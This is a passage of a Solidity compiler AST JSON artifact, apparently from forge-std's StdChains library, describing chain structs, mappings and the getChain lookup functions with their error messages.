alse,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1977:46:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":2705,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1969:7:2","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":2704,"name":"address","nodeType":"ElementaryTypeName","src":"1969:7:2","typeDescriptions":{}}},"id":2715,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1969:55:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":2703,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"1962:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":2716,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1962:63:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"private"},{"id":2719,"nodeType":"VariableDeclaration","src":"2032:33:2","nodes":[],"constant":false,"mutability":"mutable","name":"stdChainsInitialized","nameLocation":"2045:20:2","scope":3477,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2718,"name":"bool","nodeType":"ElementaryTypeName","src":"2032:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":2726,"nodeType":"StructDefinition","src":"2072:93:2","nodes":[],"canonicalName":"StdChains.ChainData","members":[{"constant":false,"id":2721,"mutability":"mutable","name":"name","nameLocation":"2106:4:2","nodeType":"VariableDeclaration","scope":2726,"src":"2099:11:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":2720,"name":"string","nodeType":"ElementaryTypeName","src":"2099:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":2723,"mutability":"mutable","name":"chainId","nameLocation":"2128:7:2","nodeType":"VariableDeclaration","scope":2726,"src":"2120:15:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2722,"name":"uint256","nodeType":"ElementaryTypeName","src":"2120:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2725,"mutability":"mutable","name":"rpcUrl","nameLocation":"2152:6:2","nodeType":"VariableDeclaration","scope":2726,"src":"2145:13:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":2724,"name":"string","nodeType":"ElementaryTypeName","src":"2145:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"ChainData","nameLocation":"2079:9:2","scope":3477,"visibility":"public"},{"id":2735,"nodeType":"StructDefinition","src":"2171:598:2","nodes":[],"canonicalName":"StdChains.Chain","members":[{"constant":false,"id":2728,"mutability":"mutable","name":"name","nameLocation":"2228:4:2","nodeType":"VariableDeclaration","scope":2735,"src":"2221:11:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":2727,"name":"string","nodeType":"ElementaryTypeName","src":"2221:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":2730,"mutability":"mutable","name":"chainId","nameLocation":"2283:7:2","nodeType":"VariableDeclaration","scope":2735,"src":"2275:15:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2729,"name":"uint256","nodeType":"ElementaryTypeName","src":"2275:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2732,"mutability":"mutable","name":"chainAlias","nameLocation":"2383:10:2","nodeType":"VariableDeclaration","scope":2735,"src":"2376:17:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":2731,"name":"string","nodeType":"ElementaryTypeName","src":"2376:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":2734,"mutability":"mutable","name":"rpcUrl","nameLocation":"2756:6:2","nodeType":"VariableDeclaration","scope":2735,"src":"2749:13:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":2733,"name":"string","nodeType":"ElementaryTypeName","src":"2749:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"Chain","nameLocation":"2178:5:2","scope":3477,"visibility":"public"},{"id":2740,"nodeType":"VariableDeclaration","src":"2873:39:2","nodes":[],"constant":false,"mutability":"mutable","name":"chains","nameLocation":"2906:6:2","scope":3477,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_struct$_Chain_$2735_storage_$","typeString":"mapping(string => struct StdChains.Chain)"},"typeName":{"id":2739,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":2736,"name":"string","nodeType":"ElementaryTypeName","src":"2881:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"nodeType":"Mapping","src":"2873:24:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_struct$_Chain_$2735_storage_$","typeString":"mapping(string => struct StdChains.Chain)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":2738,"nodeType":"UserDefinedTypeName","pathNode":{"id":2737,"name":"Chain","nameLocations":["2891:5:2"],"nodeType":"IdentifierPath","referencedDeclaration":2735,"src":"2891:5:2"},"referencedDeclaration":2735,"src":"2891:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage_ptr","typeString":"struct StdChains.Chain"}}},"visibility":"private"},{"id":2744,"nodeType":"VariableDeclaration","src":"2978:48:2","nodes":[],"constant":false,"mutability":"mutable","name":"defaultRpcUrls","nameLocation":"3012:14:2","scope":3477,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_string_storage_$","typeString":"mapping(string => string)"},"typeName":{"id":2743,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":2741,"name":"string","nodeType":"ElementaryTypeName","src":"2986:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"nodeType":"Mapping","src":"2978:25:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_string_storage_$","typeString":"mapping(string => string)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":2742,"name":"string","nodeType":"ElementaryTypeName","src":"2996:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}}},"visibility":"private"},{"id":2748,"nodeType":"VariableDeclaration","src":"3075:44:2","nodes":[],"constant":false,"mutability":"mutable","name":"idToAlias","nameLocation":"3110:9:2","scope":3477,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_string_storage_$","typeString":"mapping(uint256 => string)"},"typeName":{"id":2747,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":2745,"name":"uint256","nodeType":"ElementaryTypeName","src":"3083:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Mapping","src":"3075:26:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_string_storage_$","typeString":"mapping(uint256 => string)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":2746,"name":"string","nodeType":"ElementaryTypeName","src":"3094:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}}},"visibility":"private"},{"id":2751,"nodeType":"VariableDeclaration","src":"3126:44:2","nodes":[],"constant":false,"mutability":"mutable","name":"fallbackToDefaultRpcUrls","nameLocation":"3139:24:2","scope":3477,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2749,"name":"bool","nodeType":"ElementaryTypeName","src":"3126:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":{"hexValue":"74727565","id":2750,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3166:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"visibility":"private"},{"id":2803,"nodeType":"FunctionDefinition","src":"3255:524:2","nodes":[],"body":{"id":2802,"nodeType":"Block","src":"3345:434:2","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":2762,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2753,"src":"3369:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2761,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3363:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":2760,"name":"bytes","nodeType":"ElementaryTypeName","src":"3363:5:2","typeDescriptions":{}}},"id":2763,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3363:17:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":2764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3381:6:2","memberName":"length","nodeType":"MemberAccess","src":"3363:24:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":2765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3391:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3363:29:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436861696e7320676574436861696e28737472696e67293a20436861696e20616c6961732063616e6e6f742062652074686520656d70747920737472696e672e","id":2767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3394:69:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d920aad82cc068f1a73b0fb2c703d0169baa46c8c67097012e1aca0cc8c8b70","typeString":"literal_string \"StdChains getChain(string): Chain alias cannot be the empty string.\""},"value":"StdChains getChain(string): Chain alias cannot be the empty string."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3d920aad82cc068f1a73b0fb2c703d0169baa46c8c67097012e1aca0cc8c8b70","typeString":"literal_string \"StdChains getChain(string): Chain alias cannot be the empty string.\""}],"id":2759,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3355:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3355:109:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2769,"nodeType":"ExpressionStatement","src":"3355:109:2"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":2770,"name":"initializeStdChains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3439,"src":"3475:19:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function ()"}},"id":2771,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3475:21:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2772,"nodeType":"ExpressionStatement","src":"3475:21:2"},{"expression":{"id":2777,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":2773,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2757,"src":"3506:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":2774,"name":"chains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2740,"src":"3514:6:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_struct$_Chain_$2735_storage_$","typeString":"mapping(string memory => struct StdChains.Chain storage ref)"}},"id":2776,"indexExpression":{"id":2775,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2753,"src":"3521:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3514:18:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage","typeString":"struct StdChains.Chain storage ref"}},"src":"3506:26:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2778,"nodeType":"ExpressionStatement","src":"3506:26:2"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2783,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":2780,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2757,"src":"3563:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2781,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3569:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2730,"src":"3563:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":2782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3580:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3563:18:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"arguments":[{"arguments":[{"hexValue":"537464436861696e7320676574436861696e28737472696e67293a20436861696e207769746820616c6961732022","id":2788,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3619:49:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_be183459e9329da9bfc4a2fec17224f102b8a68c1139772e954a2d6fd9877e00","typeString":"literal_string \"StdChains getChain(string): Chain with alias \"\""},"value":"StdChains getChain(string): Chain with alias \""},{"id":2789,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2753,"src":"3670:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"22206e6f7420666f756e642e","id":2790,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3682:15:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_be956cec6682d51b49f30c9beff2857436402411b7eee4082594e44819bcd397","typeString":"literal_string \"\" not found.\""},"value":"\" not found."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_be183459e9329da9bfc4a2fec17224f102b8a68c1139772e954a2d6fd9877e00","typeString":"literal_string \"StdChains getChain(string): Chain with alias \"\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_be956cec6682d51b49f30c9beff2857436402411b7eee4082594e44819bcd397","typeString":"literal_string \"\" not found.\""}],"expression":{"id":2786,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3602:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":2787,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3606:12:2","memberName":"encodePacked","nodeType":"MemberAccess","src":"3602:16:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":2791,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3602:96:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2785,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3595:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":2784,"name":"string","nodeType":"ElementaryTypeName","src":"3595:6:2","typeDescriptions":{}}},"id":2792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3595:104:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2779,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3542:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3542:167:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2794,"nodeType":"ExpressionStatement","src":"3542:167:2"},{"expression":{"id":2800,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":2795,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2757,"src":"3720:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":2797,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2753,"src":"3754:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":2798,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2757,"src":"3766:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}],"id":2796,"name":"getChainWithUpdatedRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3211,"src":"3728:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_string_memory_ptr_$_t_struct$_Chain_$2735_memory_ptr_$returns$_t_struct$_Chain_$2735_memory_ptr_$","typeString":"function (string memory,struct StdChains.Chain memory) view returns (struct StdChains.Chain memory)"}},"id":2799,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3728:44:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"src":"3720:52:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2801,"nodeType":"ExpressionStatement","src":"3720:52:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getChain","nameLocation":"3264:8:2","parameters":{"id":2754,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2753,"mutability":"mutable","name":"chainAlias","nameLocation":"3287:10:2","nodeType":"VariableDeclaration","scope":2803,"src":"3273:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2752,"name":"string","nodeType":"ElementaryTypeName","src":"3273:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3272:26:2"},"returnParameters":{"id":2758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2757,"mutability":"mutable","name":"chain","nameLocation":"3338:5:2","nodeType":"VariableDeclaration","scope":2803,"src":"3325:18:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain"},"typeName":{"id":2756,"nodeType":"UserDefinedTypeName","pathNode":{"id":2755,"name":"Chain","nameLocations":["3325:5:2"],"nodeType":"IdentifierPath","referencedDeclaration":2735,"src":"3325:5:2"},"referencedDeclaration":2735,"src":"3325:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage_ptr","typeString":"struct StdChains.Chain"}},"visibility":"internal"}],"src":"3324:20:2"},"scope":3477,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":2860,"nodeType":"FunctionDefinition","src":"3785:541:2","nodes":[],"body":{"id":2859,"nodeType":"Block","src":"3866:460:2","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2814,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":2812,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2805,"src":"3884:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":2813,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3895:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3884:12:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436861696e7320676574436861696e2875696e74323536293a20436861696e2049442063616e6e6f7420626520302e","id":2815,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3898:52:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_64f1cd082b277ed92a70b6890cc1e3b6ebd77bc6c9299e7ce82305de04926a4a","typeString":"literal_string \"StdChains getChain(uint256): Chain ID cannot be 0.\""},"value":"StdChains getChain(uint256): Chain ID cannot be 0."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_64f1cd082b277ed92a70b6890cc1e3b6ebd77bc6c9299e7ce82305de04926a4a","typeString":"literal_string \"StdChains getChain(uint256): Chain ID cannot be 0.\""}],"id":2811,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3876:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2816,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3876:75:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2817,"nodeType":"ExpressionStatement","src":"3876:75:2"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":2818,"name":"initializeStdChains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3439,"src":"3961:19:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function ()"}},"id":2819,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3961:21:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2820,"nodeType":"ExpressionStatement","src":"3961:21:2"},{"assignments":[2822],"declarations":[{"constant":false,"id":2822,"mutability":"mutable","name":"chainAlias","nameLocation":"4006:10:2","nodeType":"VariableDeclaration","scope":2859,"src":"3992:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2821,"name":"string","nodeType":"ElementaryTypeName","src":"3992:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":2826,"initialValue":{"baseExpression":{"id":2823,"name":"idToAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2748,"src":"4019:9:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_string_storage_$","typeString":"mapping(uint256 => string storage ref)"}},"id":2825,"indexExpression":{"id":2824,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2805,"src":"4029:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4019:18:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"VariableDeclarationStatement","src":"3992:45:2"},{"expression":{"id":2831,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":2827,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2809,"src":"4048:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":2828,"name":"chains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2740,"src":"4056:6:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_struct$_Chain_$2735_storage_$","typeString":"mapping(string memory => struct StdChains.Chain storage ref)"}},"id":2830,"indexExpression":{"id":2829,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2822,"src":"4063:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4056:18:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage","typeString":"struct StdChains.Chain storage ref"}},"src":"4048:26:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2832,"nodeType":"ExpressionStatement","src":"4048:26:2"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2837,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":2834,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2809,"src":"4106:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2835,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4112:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2730,"src":"4106:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":2836,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4123:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 